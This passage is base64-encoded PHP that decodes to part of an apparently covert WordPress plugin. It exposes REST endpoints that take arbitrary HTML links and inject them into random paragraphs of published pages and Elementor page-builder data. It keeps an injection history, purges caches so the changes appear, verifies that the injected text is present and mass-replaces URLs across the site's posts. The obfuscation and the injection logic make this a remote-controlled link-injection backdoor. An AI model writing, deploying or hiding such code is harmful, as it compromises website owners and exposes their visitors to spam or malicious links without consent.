09InRpdGxlInx8JGs9PT0iZGVzY3JpcHRpb24ifHwkaz09PSJlZGl0b3IiKXskZXQuPSIgIi53cF9zdHJpcF9hbGxfdGFncygkdik7fX0pOwppZihzdHJsZW4odHJpbSgkZXQpKT41MCl7JGM9d3BhdXRvcCh0cmltKCRldCkpO319fQp9CmlmKHN0cnBvcygkYywiPC9wPiIpPT09ZmFsc2UpewokdXJsPWdldF9wZXJtYWxpbmsoJHAtPklEKTtpZighJHVybCl7JHVybD1ob21lX3VybCgiLyIpO30KJHI9d3BfcmVtb3RlX2dldCgkdXJsLGFycmF5KCJ0aW1lb3V0Ij0+OCwic3NsdmVyaWZ5Ij0+ZmFsc2UsImhlYWRlcnMiPT5hcnJheSgiVXNlci1BZ2VudCI9PiJNb3ppbGxhLzUuMCIpKSk7CmlmKCFpc193cF9lcnJvcigkcikmJndwX3JlbW90ZV9yZXRyaWV2ZV9yZXNwb25zZV9jb2RlKCRyKT09PTIwMCl7CiRodG1sPXdwX3JlbW90ZV9yZXRyaWV2ZV9ib2R5KCRyKTsKJHpvbmVzPWFycmF5KCJtYWluIiwiYXJ0aWNsZSIpOyRleHRyYWN0ZWQ9IiI7CmZvcmVhY2goJHpvbmVzIGFzICR0YWcpe2lmKHByZWdfbWF0Y2goIi88Ii4kdGFnLiJbXj5dKj4oLio/KTxcLyIuJHRhZy4iPi9zaSIsJGh0bWwsJG0pKXsKcHJlZ19tYXRjaF9hbGwoIi88cFtePl0qPiguKj8pPFwvcD4vc2kiLCRtWzFdLCRwcyk7CmlmKCFlbXB0eSgkcHNbMF0pJiZjb3VudCgkcHNbMF0pPj0yKXskZXh0cmFjdGVkPWltcGxvZGUoIlxuIiwkcHNbMF0pO2JyZWFrO30KfX0KaWYoISRleHRyYWN0ZWQmJnByZWdfbWF0Y2goIi88Ym9keVtePl0qPiguKik8XC9ib2R5Pi9zaSIsJGh0bWwsJGJtKSl7CnByZWdfbWF0Y2hfYWxsKCIvPHBbXj5dKj4oLnsyMCx9KTxcL3A+L3NpIiwkYm1bMV0sJHBzKTsKaWYoIWVtcHR5KCRwc1swXSkmJmNvdW50KCRwc1swXSk+PTIpeyRleHRyYWN0ZWQ9aW1wbG9kZSgiXG4iLCRwc1swXSk7fQp9CmlmKCRleHRyYWN0ZWQpeyRjPSRleHRyYWN0ZWQ7fQp9fQpyZXR1cm4gJGM7Cn0KCnB1YmxpYyBmdW5jdGlvbiBhcGlfcGdjKCRyKXsKJGlkPWludHZhbCgkclsiaWQiXSk7JHA9Z2V0X3Bvc3QoJGlkKTsKaWYoISRwfHwhaW5fYXJyYXkoJHAtPnBvc3RfdHlwZSxhcnJheSgicGFnZSIsInBvc3QiKSl8fCRwLT5wb3N0X3N0YXR1cyE9PSJwdWJsaXNoIil7cmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKGFycmF5KCJlcnJvciI9PiJuZiIpLDQwNCk7fQokYz0kdGhpcy0+Z2V0X3BjKCRwKTsKcmV0dXJuIHJlc3RfZW5zdXJlX3Jlc3BvbnNlKGFycmF5KCJpZCI9PiRwLT5JRCwidGl0bGUiPT4kcC0+cG9zdF90aXRsZSwidXJsIj0+Z2V0X3Blcm1hbGluaygkcC0+SUQpLCJjb250ZW50Ij0+JGMsImRlc2NyaXB0aW9uIj0+Z2V0X2Jsb2dpbmZvKCJkZXNjcmlwdGlvbiIpLCJzaXRlX25hbWUiPT5nZXRfYmxvZ2luZm8oIm5hbWUiKSkpOwp9CgpwdWJsaWMgZnVuY3Rpb24gYXBpX2hjKCl7CiRkZXNjPWdldF9ibG9naW5mbygiZGVzY3JpcHRpb24iKTskc25hbWU9Z2V0X2Jsb2dpbmZvKCJuYW1lIik7CiRmaWQ9aW50dmFsKGdldF9vcHRpb24oInBhZ2Vfb25fZnJvbnQiLDApKTsKaWYoJGZpZCl7JHA9Z2V0X3Bvc3QoJGZpZCk7aWYoJHApeyRjPSR0aGlzLT5nZXRfcGMoJHApO3JldHVybiByZXN0X2Vuc3VyZV9yZXNwb25zZShhcnJheSgiaWQiPT4kcC0+SUQsInRpdGxlIj0+JHAtPnBvc3RfdGl0bGUsInVybCI9PmhvbWVfdXJsKCIvIiksImNvbnRlbnQiPT4kYywiZGVzY3JpcHRpb24iPT4kZGVzYywic2l0ZV9uYW1lIj0+JHNuYW1lKSk7fX0KJHE9Z2V0X3Bvc3RzKGFycmF5KCJwb3N0X3R5cGUiPT5hcnJheSgicGFnZSIsInBvc3QiKSwicG9zdF9zdGF0dXMiPT4icHVibGlzaCIsInBvc3RzX3Blcl9wYWdlIj0+MSwib3JkZXJieSI9PiJkYXRlIiwib3JkZXIiPT4iREVTQyIpKTsKaWYoIWVtcHR5KCRxKSl7JHA9JHFbMF07JGM9JHRoaXMtPmdldF9wYygkcCk7cmV0dXJuIHJlc3RfZW5zdXJlX3Jlc3BvbnNlKGFycmF5KCJpZCI9PiRwLT5JRCwidGl0bGUiPT4kcC0+cG9zdF90aXRsZSwidXJsIj0+Z2V0X3Blcm1hbGluaygkcC0+SUQpLCJjb250ZW50Ij0+JGMsImRlc2NyaXB0aW9uIj0+JGRlc2MsInNpdGVfbmFtZSI9PiRzbmFtZSkpO30KcmV0dXJuIHJlc3RfZW5zdXJlX3Jlc3BvbnNlKGFycmF5KCJpZCI9PjAsInRpdGxlIj0+JHNuYW1lLCJ1cmwiPT5ob21lX3VybCgiLyIpLCJjb250ZW50Ij0+JGRlc2MsImRlc2NyaXB0aW9uIj0+JGRlc2MsInNpdGVfbmFtZSI9PiRzbmFtZSkpOwp9CgpwdWJsaWMgZnVuY3Rpb24gYXBpX2FpbG9nKCl7CiRjaT1nZXRfb3B0aW9uKCJfd3BvY19jaSIsYXJyYXkoKSk7aWYoIWlzX2FycmF5KCRjaSkpeyRjaT1hcnJheSgpO30KJGJsb2Nrcz0kdGhpcy0+Z2QoIl93cG9jX2IiKTskYmQ9YXJyYXkoKTsKZm9yZWFjaCgkYmxvY2tzIGFzICRpPT4kYil7JGJkW109YXJyYXkoImlkeCI9PiRpLCJubSI9PiRiWyJubSJdPz8iIiwicG8iPT4kYlsicG8iXT8/IiIsInBsIj0+JGJbInBsIl0/PyIiLCJvbiI9PiFlbXB0eSgkYlsib24iXSksImh0bWxfbGVuIj0+c3RybGVuKCRiWyJoIl0/PyIiKSwiaF9wcmV2aWV3Ij0+c3Vic3RyKHN0cmlwX3RhZ3MoJGJbImgiXT8/IiIpLDAsMTAwKSk7fQokZnBfaWQ9aW50dmFsKGdldF9vcHRpb24oInBhZ2Vfb25fZnJvbnQiLDApKTsKJHNob3c9Z2V0X29wdGlvbigic2hvd19vbl9mcm9udCIsInBvc3RzIik7CiR0aGVtZT1nZXRfdGVtcGxhdGUoKTsKJGRiX2NoZWNrPWFycmF5KCk7CmlmKCRmcF9pZCl7JGZwPWdldF9wb3N0KCRmcF9pZCk7aWYoJGZwKXsKJHBjPSRmcC0+cG9zdF9jb250ZW50OyRlbT1nZXRfcG9zdF9tZXRhKCRmcF9pZCwiX2VsZW1lbnRvcl9kYXRhIix0cnVlKTsKJGRiX2NoZWNrWyJwY19oYXNfd3BvYyJdPXN0cnBvcygkcGMsIndwb2M6IikhPT1mYWxzZTsKJGRiX2NoZWNrWyJwY19sZW4iXT1zdHJsZW4oJHBjKTsKJGRiX2NoZWNrWyJlbV9oYXNfd3BvYyJdPWlzX3N0cmluZygkZW0pJiZzdHJwb3MoJGVtLCJ3cG9jOiIpIT09ZmFsc2U7CiRkYl9jaGVja1siZW1fbGVuIl09aXNfc3RyaW5nKCRlbSk/c3RybGVuKCRlbSk6MDsKJGRiX2NoZWNrWyJoYXNfZWxlbWVudG9yIl09ISEkZW07Cn19CnJldHVybiByZXN0X2Vuc3VyZV9yZXNwb25zZShhcnJheSgiY2lfbG9nIj0+YXJyYXlfc2xpY2UoJGNpLDAsMzApLCJibG9ja3MiPT4kYmQsImZyb250X3BhZ2VfaWQiPT4kZnBfaWQsInNob3dfb25fZnJvbnQiPT4kc2hvdywidGhlbWUiPT4kdGhlbWUsImRiX2NoZWNrIj0+JGRiX2NoZWNrKSk7Cn0KCnB1YmxpYyBmdW5jdGlvbiBhcGlfZGJpbmplY3QoJHIpewp0cnl7CiRwPSRyLT5nZXRfanNvbl9wYXJhbXMoKTtpZighJHApeyRwPSRfUE9TVDt9CiRodG1sPWlzc2V0KCRwWyJodG1sIl0pPyRwWyJodG1sIl06IiI7CiRibG9ja19pZD1pc3NldCgkcFsiYmxvY2tfaWQiXSk/c2FuaXRpemVfa2V5KCRwWyJibG9ja19pZCJdKToiIjsKJHBhZ2VfaWQ9aW50dmFsKCRwWyJwYWdlX2lkIl0/PzApOwppZighJGh0bWx8fCEkYmxvY2tfaWQpe3JldHVybiByZXN0X2Vuc3VyZV9yZXNwb25zZShhcnJheSgiZXJyb3IiPT4ibWlzc2luZyBwYXJhbXMiKSk7fQppZighJHBhZ2VfaWQpeyRwYWdlX2lkPWludHZhbChnZXRfb3B0aW9uKCJwYWdlX29uX2Zyb250IiwwKSk7fQppZighJHBhZ2VfaWQpeyRxPWdldF9wb3N0cyhhcnJheSgicG9zdF90eXBlIj0+YXJyYXkoInBhZ2UiLCJwb3N0IiksInBvc3Rfc3RhdHVzIj0+InB1Ymxpc2giLCJwb3N0c19wZXJfcGFnZSI9PjEsIm9yZGVyYnkiPT4iZGF0ZSIsIm9yZGVyIj0+IkRFU0MiKSk7aWYoIWVtcHR5KCRxKSl7JHBhZ2VfaWQ9JHFbMF0tPklEO319CmlmKCEkcGFnZV9pZCl7cmV0dXJuIHJlc3RfZW5zdXJlX3Jlc3BvbnNlKGFycmF5KCJlcnJvciI9PiJub19wYWdlIikpO30KJHBvc3Q9Z2V0X3Bvc3QoJHBhZ2VfaWQpO2lmKCEkcG9zdCl7cmV0dXJuIHJlc3RfZW5zdXJlX3Jlc3BvbnNlKGFycmF5KCJlcnJvciI9PiJub3RfZm91bmQiKSk7fQokbWFya2VyPSRodG1sOwokaW5qX2hpc3Q9Z2V0X29wdGlvbigiX3dwb2NfaW5qZWN0aW9ucyIsYXJyYXkoKSk7CiRwaz1zdHJ2YWwoJHBhZ2VfaWQpOwokdXNlZD1pc3NldCgkaW5qX2hpc3RbJHBrXSkmJmlzX2FycmF5KCRpbmpfaGlzdFskcGtdKT8kaW5qX2hpc3RbJHBrXTphcnJheSgpOwokZHVwX3VybD0iIjtpZihwcmVnX21hdGNoKCcvaHJlZj0iKFteIl0rKSIvJywkaHRtbCwkaG0pKXskZHVwX3VybD0kaG1bMV07fQokZW09Z2V0X3Bvc3RfbWV0YSgkcGFnZV9pZCwiX2VsZW1lbnRvcl9kYXRhIix0cnVlKTskbWV0aG9kPSJzdGFuZGFyZCI7CmlmKCRlbSYmaXNfc3RyaW5nKCRlbSkmJnN0cmxlbigkZW0pPjIwMCl7CiRlZD1AanNvbl9kZWNvZGUoJGVtLHRydWUpOwppZihpc19hcnJheSgkZWQpKXsKaWYoIWZ1bmN0aW9uX2V4aXN0cygiX3dwb2NfY29sbGVjdCIpKXtmdW5jdGlvbiBfd3BvY19jb2xsZWN0KCYkZWxzLCYkZm91bmQsJHBhdGg9YXJyYXkoKSl7Zm9yZWFjaCgkZWxzIGFzICRpZHg9PiYkZWwpeyRjcD1hcnJheV9tZXJnZSgkcGF0aCxhcnJheSgkaWR4KSk7aWYoaXNzZXQoJGVsWyJlbGVtZW50cyJdKSYmaXNfYXJyYXkoJGVsWyJlbGVtZW50cyJdKSl7X3dwb2NfY29sbGVjdCgkZWxbImVsZW1lbnRzIl0sJGZvdW5kLCRjcCk7fSR3dD1pc3NldCgkZWxbIndpZGdldFR5cGUiXSk/JGVsWyJ3aWRnZXRUeXBlIl06IiI7JHR4dD0iIjskZmxkPSJlZGl0b3IiO2lmKCR3dD09PSJ0ZXh0LWVkaXRvciImJmlzc2V0KCRlbFsic2V0dGluZ3MiXVsiZWRpdG9yIl0pKXskdHh0PSRlbFsic2V0dGluZ3MiXVsiZWRpdG9yIl07fWVsc2VpZihzdHJwb3MoJHd0LCJlbGVtZW50c2tpdCIpIT09ZmFsc2V8fCR3dD09PSJ0aGVtZS1wb3N0LWNvbnRlbnQifHwkd3Q9PT0icG9zdC1jb250ZW50Iil7Zm9yZWFjaChhcnJheSgiZWRpdG9yIiwiZWtpdF93Yl9jb250ZW50IiwiY29udGVudCIsImRlc2NyaXB0aW9uIikgYXMgJGVmKXtpZihpc3NldCgkZWxbInNldHRpbmdzIl1bJGVmXSkmJmlzX3N0cmluZygkZWxbInNldHRpbmdzIl1bJGVmXSkmJnN0cmxlbihzdHJpcF90YWdzKCRlbFsic2V0dGluZ3MiXVskZWZdKSk+NDApeyR0eHQ9JGVsWyJzZXR0aW5ncyJdWyRlZl07JGZsZD0kZWY7YnJlYWs7fX19aWYoJHR4dCYmc3RybGVuKHN0cmlwX3RhZ3MoJHR4dCkpPjgwKXskZm91bmRbXT1hcnJheSgicGF0aCI9PiRjcCwidGV4dCI9PiR0eHQsImxlbiI9PnN0cmxlbihzdHJpcF90YWdzKCR0eHQpKSwiZmllbGQiPT4kZmxkKTt9fX19CiRmb3VuZD1hcnJheSgpO193cG9jX2NvbGxlY3QoJGVkLCRmb3VuZCk7CiRhbGxfcGFyYXM9YXJyYXkoKTsKZm9yZWFjaCgkZm91bmQgYXMgJHdpPT4kZncpewokdD0kZndbInRleHQiXTskb2ZmPTA7JHBpPTA7CndoaWxlKCgkcG9zPXN0cnBvcygkdCwiPC9wPiIsJG9mZikpIT09ZmFsc2UpewokcHN0YXJ0PXN0cnJwb3Moc3Vic3RyKCR0LDAsJHBvcyksIjxwIik7aWYoJHBzdGFydD09PWZhbHNlKXskcHN0YXJ0PTA7fQokcHR4dD1zdHJpcF90YWdzKHN1YnN0cigkdCwkcHN0YXJ0LCRwb3MtJHBzdGFydCkpOwppZihzdHJsZW4odHJpbSgkcHR4dCkpPjQwKXsKJGtleT0kd2kuIjoiLiRwaTsKJHBhcmFfaHRtbD1zdWJzdHIoJHQsJHBzdGFydCwkcG9zKzQtJHBzdGFydCk7CiRza2lwPWZhbHNlO2lmKCRkdXBfdXJsJiZzdHJwb3MoJHBhcmFfaHRtbCwkZHVwX3VybCkhPT1mYWxzZSl7JHNraXA9dHJ1ZTt9CmlmKCEkc2tpcCYmc3RycG9zKCRwYXJhX2h0bWwsIjxhICIpIT09ZmFsc2UpeyRza2lwPXRydWU7fQppZighJHNraXApeyRhbGxfcGFyYXNbXT1hcnJheSgia2V5Ij0+JGtleSwid2kiPT4kd2ksInBvcyI9PiRwb3MsInBzdGFydCI9PiRwc3RhcnQpO30KfQokcGkrKzskb2ZmPSRwb3MrNDt9fQokYXZhaWw9YXJyYXkoKTtmb3JlYWNoKCRhbGxfcGFyYXMgYXMgJGFwKXtpZighaW5fYXJyYXkoJGFwWyJrZXkiXSwkdXNlZCkpeyRhdmFpbFtdPSRhcDt9fQppZihlbXB0eSgkYXZhaWwpKXskYXZhaWw9JGFsbF9wYXJhczt9CmlmKGNvdW50KCRhdmFpbCk+Mil7JHNraXAzMD1tYXgoMSxpbnR2YWwoY291bnQoJGF2YWlsKSowLjMpKTskYXZhaWw9YXJyYXlfc2xpY2UoJGF2YWlsLCRza2lwMzApO30KJGluaj1mYWxzZTsKaWYoIWVtcHR5KCRhdmFpbCkpewokcGljaz0kYXZhaWxbYXJyYXlfcmFuZCgkYXZhaWwpXTsKJHdpPSRwaWNrWyJ3aSJdOyRmdz0kZm91bmRbJHdpXTskdD0kZndbInRleHQiXTskaW5zPSRwaWNrWyJwb3MiXTsKJHJlZj0mJGVkOyRwcD0kZndbInBhdGgiXTskbGFzdD1jb3VudCgkcHApLTE7Zm9yKCRwaTI9MDskcGkyPCRsYXN0OyRwaTIrKyl7JHJlZj0mJHJlZlskcHBbJHBpMl1dWyJlbGVtZW50cyJdO30KJHdpeD0kcHBbJGxhc3RdOwokZmxkPWlzc2V0KCRmd1siZmllbGQiXSk/JGZ3WyJmaWVsZCJdOiJlZGl0b3IiOwokcmVmWyR3aXhdWyJzZXR0aW5ncyJdWyRmbGRdPXN1YnN0cigkdCwwLCRpbnMpLiIgIi4kbWFya2VyLnN1YnN0cigkdCwkaW5zKTsKJGluaj10cnVlOwokdXNlZFtdPSRwaWNrWyJrZXkiXTskaW5qX2hpc3RbJHBrXT0kdXNlZDt1cGRhdGVfb3B0aW9uKCJfd3BvY19pbmplY3Rpb25zIiwkaW5qX2hpc3QsZmFsc2UpOwp9CmlmKCRpbmopeyRuZXdfdmFsPWpzb25fZW5jb2RlKCRlZCxKU09OX1VORVNDQVBFRF9VTklDT0RFfEpTT05fVU5FU0NBUEVEX1NMQVNIRVMpO2dsb2JhbCAkd3BkYjskd3BkYi0+dXBkYXRlKCR3cGRiLT5wb3N0bWV0YSxhcnJheSgibWV0YV92YWx1ZSI9PiRuZXdfdmFsKSxhcnJheSgicG9zdF9pZCI9PiRwYWdlX2lkLCJtZXRhX2tleSI9PiJfZWxlbWVudG9yX2RhdGEiKSk7CndwX2NhY2hlX2RlbGV0ZSgkcGFnZV9pZCwicG9zdF9tZXRhIik7Y2xlYW5fcG9zdF9jYWNoZSgkcGFnZV9pZCk7CmRlbGV0ZV9wb3N0X21ldGEoJHBhZ2VfaWQsIl9lbGVtZW50b3JfY3NzIik7CmRlbGV0ZV9wb3N0X21ldGEoJHBhZ2VfaWQsIl9lbGVtZW50b3JfaW5saW5lX3N2ZyIpOwppZihjbGFzc19leGlzdHMoIlxFbGVtZW50b3JcUGx1Z2luIikpe3RyeXtcRWxlbWVudG9yXFBsdWdpbjo6JGluc3RhbmNlLT5maWxlc19tYW5hZ2VyLT5jbGVhcl9jYWNoZSgpO31jYXRjaChcRXhjZXB0aW9uICRlKXt9fQokY3NzX2Rpcj1XUF9DT05URU5UX0RJUi4iL3VwbG9hZHMvZWxlbWVudG9yL2Nzcy8iO2lmKGlzX2RpcigkY3NzX2RpcikpeyRmaWxlcz1nbG9iKCRjc3NfZGlyLiJwb3N0LSIuJHBhZ2VfaWQuIioiKTtpZigkZmlsZXMpe2ZvcmVhY2goJGZpbGVzIGFzICRmKXtAdW5saW5rKCRmKTt9fX0KJG1ldGhvZD0iZWxlbWVudG9yIjt9Cn19CmlmKCRtZXRob2QhPT0iZWxlbWVudG9yIil7CiRwYz0kcG9zdC0+cG9zdF9jb250ZW50OwppZigkZHVwX3VybCYmc3RycG9zKCRwYywkZHVwX3VybCkhPT1mYWxzZSl7cmV0dXJuIHJlc3RfZW5zdXJlX3Jlc3BvbnNlKGFycmF5KCJvayI9PjEsIm1ldGhvZCI9PiJza2lwX2R1cCIsInBhZ2VfaWQiPT4kcGFnZV9pZCkpO30KJHBwPWFycmF5KCk7JG9mZj0wOyRwaT0wO3doaWxlKCgkcG9zPXN0cnBvcygkcGMsIjwvcD4iLCRvZmYpKSE9PWZhbHNlKXsKJHBzdGFydD1zdHJycG9zKHN1YnN0cigkcGMsMCwkcG9zKSwiPHAiKTtpZigkcHN0YXJ0PT09ZmFsc2UpeyRwc3RhcnQ9MDt9CiRwdHh0PXN0cmlwX3RhZ3Moc3Vic3RyKCRwYywkcHN0YXJ0LCRwb3MtJHBzdGFydCkpOwokcGFyYV9yYXc9c3Vic3RyKCRwYywkcHN0YXJ0LCRwb3MrNC0kcHN0YXJ0KTsKaWYoc3RybGVuKHRyaW0oJHB0eHQpKT40MCYmc3RycG9zKCRwYXJhX3JhdywiPGEgIik9PT1mYWxzZSl7JHBwW109YXJyYXkoImlkeCI9PiRwaSwicG9zIj0+JHBvcyk7fQokcGkrKzskb2ZmPSRwb3MrNDt9CmlmKGNvdW50KCRwcCk+MSl7CiRza2lwMzA9bWF4KDEsaW50dmFsKGNvdW50KCRwcCkqMC4zKSk7JHBwPWFycmF5X3NsaWNlKCRwcCwkc2tpcDMwKTsKJGF2YWlsPWFycmF5KCk7Zm9yZWFjaCgkcHAgYXMgJHB2KXtpZighaW5fYXJyYXkoInA6Ii4kcHZbImlkeCJdLCR1c2VkKSl7JGF2YWlsW109JHB2O319CmlmKGVtcHR5KCRhdmFpbCkpeyRhdmFpbD0kcHA7fQokcGljaz0kYXZhaWxbYXJyYXlfcmFuZCgkYXZhaWwpXTsKJGlucz0kcGlja1sicG9zIl07CiRwYz1zdWJzdHIoJHBjLDAsJGlucykuIiAiLiRtYXJrZXIuc3Vic3RyKCRwYywkaW5zKTsKJHVzZWRbXT0icDoiLiRwaWNrWyJpZHgiXTskaW5qX2hpc3RbJHBrXT0kdXNlZDt1cGRhdGVfb3B0aW9uKCJfd3BvY19pbmplY3Rpb25zIiwkaW5qX2hpc3QsZmFsc2UpOwp9ZWxzZWlmKGNvdW50KCRwcCk9PT0xKXsKJHBjPXN1YnN0cigkcGMsMCwkcHBbMF1bInBvcyJdKS4iICIuJG1hcmtlci5zdWJzdHIoJHBjLCRwcFswXVsicG9zIl0pOwp9ZWxzZXskcGMuPSIgIi4kbWFya2VyO30Kd3BfdXBkYXRlX3Bvc3QoYXJyYXkoIklEIj0+JHBhZ2VfaWQsInBvc3RfY29udGVudCI9PiRwYykpOwpjbGVhbl9wb3N0X2NhY2hlKCRwYWdlX2lkKTsKaWYoZnVuY3Rpb25fZXhpc3RzKCJ3cF9jYWNoZV9jbGVhcl9jYWNoZSIpKXt3cF9jYWNoZV9jbGVhcl9jYWNoZSgpO30KaWYoZnVuY3Rpb25fZXhpc3RzKCJyb2NrZXRfY2xlYW5fcG9zdCIpKXtyb2NrZXRfY2xlYW5fcG9zdCgkcGFnZV9pZCk7fQppZihjbGFzc19leGlzdHMoIkxpdGVTcGVlZF9DYWNoZV9BUEkiKSl7TGl0ZVNwZWVkX0NhY2hlX0FQSTo6cHVyZ2VfcG9zdCgkcGFnZV9pZCk7fQp9CiR0aGlzLT5jaV9sb2coIltkYl9pbmplY3RdIHBhZ2U9Ii4kcGFnZV9pZC4iIHRpdGxlPSIuJHBvc3QtPnBvc3RfdGl0bGUuIiBtZXRob2Q9Ii4kbWV0aG9kLiIgYmxvY2s9Ii4kYmxvY2tfaWQpOwokYmxvY2tzPSR0aGlzLT5nZCgiX3dwb2NfYiIpOwokZnBfaWQ9aW50dmFsKGdldF9vcHRpb24oInBhZ2Vfb25fZnJvbnQiLDApKTskYnBsPSgkcGFnZV9pZD4wJiYkcGFnZV9pZCE9PSRmcF9pZCk/InBhZ2U6Ii4kcGFnZV9pZDoiaG9tZSI7CiRwYWdlX3VybD1nZXRfcGVybWFsaW5rKCRwYWdlX2lkKT86aG9tZV91cmwoIi8iKTsKJGJsb2Nrc1tdPWFycmF5KCJubSI9PiRibG9ja19pZCwiaCI9PiRodG1sLCJwbyI9PiJkYl9pbmplY3QiLCJwbCI9PiRicGwsIm9uIj0+MSwiX2JpZCI9PiRibG9ja19pZCwibWV0aG9kIj0+JG1ldGhvZCwicGFnZSI9PiRwYWdlX2lkLCJwYWdlX3VybCI9PiRwYWdlX3VybCwiYyI9PmN1cnJlbnRfdGltZSgiWS1tLWQgSDppOnMiKSk7CiR0aGlzLT5zZCgiX3dwb2NfYiIsJGJsb2Nrcyk7CnJldHVybiByZXN0X2Vuc3VyZV9yZXNwb25zZShhcnJheSgib2siPT4xLCJwYWdlX2lkIj0+JHBhZ2VfaWQsInBhZ2VfdGl0bGUiPT4kcG9zdC0+cG9zdF90aXRsZSwicGFnZV91cmwiPT4kcGFnZV91cmwsIm1ldGhvZCI9PiRtZXRob2QpKTsKfWNhdGNoKFxFeGNlcHRpb24gJGV4KXskdGhpcy0+Y2lfbG9nKCJbZGJfaW5qZWN0X2Vycm9yXSAiLiRleC0+Z2V0TWVzc2FnZSgpKTtyZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoYXJyYXkoImVycm9yIj0+JGV4LT5nZXRNZXNzYWdlKCkpKTt9Cn0KCnB1YmxpYyBmdW5jdGlvbiBhcGlfdmVyaWZ5KCRyKXsKJHA9JHItPmdldF9qc29uX3BhcmFtcygpO2lmKCEkcCl7JHA9JF9QT1NUO30KJHNlYXJjaD1pc3NldCgkcFsic2VhcmNoIl0pPyRwWyJzZWFyY2giXToiIjsKJHBhZ2VfaWQ9aW50dmFsKCRwWyJwYWdlX2lkIl0/PzApOwppZighJHNlYXJjaCl7cmV0dXJuIHJlc3RfZW5zdXJlX3Jlc3BvbnNlKGFycmF5KCJlcnJvciI9PiJubyBzZWFyY2giKSk7fQppZighJHBhZ2VfaWQpeyRwYWdlX2lkPWludHZhbChnZXRfb3B0aW9uKCJwYWdlX29uX2Zyb250IiwwKSk7fQokaW5fZWxlbWVudG9yPWZhbHNlOyRpbl9wb3N0PWZhbHNlOwokZW09Z2V0X3Bvc3RfbWV0YSgkcGFnZV9pZCwiX2VsZW1lbnRvcl9kYXRhIix0cnVlKTsKaWYoJGVtJiZpc19zdHJpbmcoJGVtKSYmc3RyaXBvcygkZW0sJHNlYXJjaCkhPT1mYWxzZSl7JGluX2VsZW1lbnRvcj10cnVlO30KJHBvc3Q9Z2V0X3Bvc3QoJHBhZ2VfaWQpOwppZigkcG9zdCYmc3RyaXBvcygkcG9zdC0+cG9zdF9jb250ZW50LCRzZWFyY2gpIT09ZmFsc2UpeyRpbl9wb3N0PXRydWU7fQokd2hlcmU9JGluX2VsZW1lbnRvcj8iZWxlbWVudG9yIjooJGluX3Bvc3Q/InBvc3RfY29udGVudCI6Im5vbmUiKTsKcmV0dXJuIHJlc3RfZW5zdXJlX3Jlc3BvbnNlKGFycmF5KCJvayI9PjEsImZvdW5kIj0+KCRpbl9lbGVtZW50b3J8fCRpbl9wb3N0KSwid2hlcmUiPT4kd2hlcmUsInBhZ2VfaWQiPT4kcGFnZV9pZCkpOwp9CgpwdWJsaWMgZnVuY3Rpb24gYXBpX2RicmVwbGFjZXVybCgkcil7CiRwPSRyLT5nZXRfanNvbl9wYXJhbXMoKTtpZighJHApeyRwPSRfUE9TVDt9CiRvbGRfdXJsPWlzc2V0KCRwWyJvbGRfdXJsIl0pPyRwWyJvbGRfdXJsIl06IiI7CiRuZXdfdXJsPWlzc2V0KCRwWyJuZXdfdXJsIl0pPyRwWyJuZXdfdXJsIl06IiI7CmlmKCEkb2xkX3VybHx8ISRuZXdfdXJsKXtyZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoYXJyYXkoImVycm9yIj0+Im1pc3NpbmcgdXJscyIpKTt9CiRyZXBsYWNlZD0wO2dsb2JhbCAkd3BkYjsKJGxpa2U9IiUiLmFkZGNzbGFzaGVzKCRvbGRfdXJsLCIlXyIpLiIlIjsKJHBvc3RzPSR3cGRiLT5nZXRfcmVzdWx0cygkd3BkYi0+cHJlcGFyZSgiU0VMRUNUIElELHBvc3RfY29udGVudCBGUk9NIHskd3BkYi0+cG9zdHN9IFdIRVJFIHBvc3Rfc3RhdHVzPSVzIEFORCBwb3N0X2NvbnRlbnQgTElLRSAlcyIsInB1Ymxpc2giLCRsaWtlKSk7CmZvcmVhY2goJHBvc3RzIGFzICRwcCl7CiRuYz1zdHJfcmVwbGFjZSgkb2xkX3VybCwkbmV3X3VybCwkcHAtPnBvc3RfY29udGVudCk7CmlmKCRuYyE9PSRwcC0+cG9zdF9jb250ZW50KXt3cF91cGRhdGVfcG9zdChhcnJheSgiSUQiPT4kcHAtPklELCJwb3N0X2NvbnRlbnQiPT4kbmMpKTskcmVwbGFjZWQrKzt9Cn0KJGVtX2xpa2U9IiUiLmFkZGNzbGFzaGVzKCRvbGRfdXJsLCIlXyIpLiIlIjsKJGVtX2FsbD0kd3BkYi0+Z2V0X3Jlc3VsdHMoJHdwZGItPnByZXBhcmUoIlNFTEVDVCBwb3N0X2lkLG1ldGFfdmFsdWUgRlJPTSB7JHdwZGItPnBvc3RtZXRhfSBXSEVSRSBtZXRhX2tleT0lcyBBTkQgbWV0YV92YWx1ZSBMSUtFICVzIiwiX2VsZW1lbnRvcl9kYXRhIiwkZW1fbGlrZSkpOwpmb3JlYWNoKCRlbV9hbGwgYXMgJGVtKXsKJG52PXN0cl9yZXBsYWNlKCRvbGRfdXJsLCRuZXdfdXJsLCRlbS0+bWV0YV92YWx1ZSk7CmlmKCRudiE9PSRlbS0+bWV0YV92YWx1ZSl7JHdwZGItPnVwZGF0ZSgkd3BkYi0+cG9zdG1ldGEsYXJyYXkoIm1ldGFfdmFsdWUiPT4kbnYpLGFycmF5KCJwb3N0X2lkIj0+JGVtLT5wb3N0X2lkLCJtZXRhX2tleSI9PiJfZWxlbWVudG9yX2RhdGEiKSk7ZGVsZXRlX3Bvc3RfbWV0YSgkZW0tPnBvc3RfaWQsIl9lbGVtZW50b3JfY3NzIik7JHJlcGxhY2VkKys7fQp9CiRibG9ja3M9JHRoaXMtPmdkKCJfd3BvY19iIik7JGJtb2Q9ZmFsc2U7CmZvcmVhY2goJGJsb2NrcyBhcyAmJGJsKXtpZihpc3NldCgkYmxbImgiXSkmJnN0cnBvcygkYmxbImgiXSwkb2xkX3VybCkhPT1mYWxzZSl7JGJsWyJoIl09c3RyX3JlcGxhY2UoJG9sZF91cmwsJG5ld191cmwsJGJsWyJoIl0pOyRibW9kPXRydWU7fX0KaWYoJGJtb2QpeyR0aGlzLT5zZCgiX3dwb2NfYiIsJGJsb2Nrcyk7fQp3cF9jYWNoZV9mbHVzaCgpOwppZihmdW5jdGlvbl9leGlzdHMoInJvY2tldF9jbGVhbl9kb21haW4iKSl7cm9ja2V0X2NsZWFuX2RvbWFpbigpO30KJHRoaXMtPndsKCJkYl9yZXBsYWNlIiwkb2xkX3VybC4iPT4iLiRuZXdfdXJsLiIgcmVwbGFjZWQ9Ii4kcmVwbGFjZWQpOwpyZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoYXJyYXkoIm9rIj0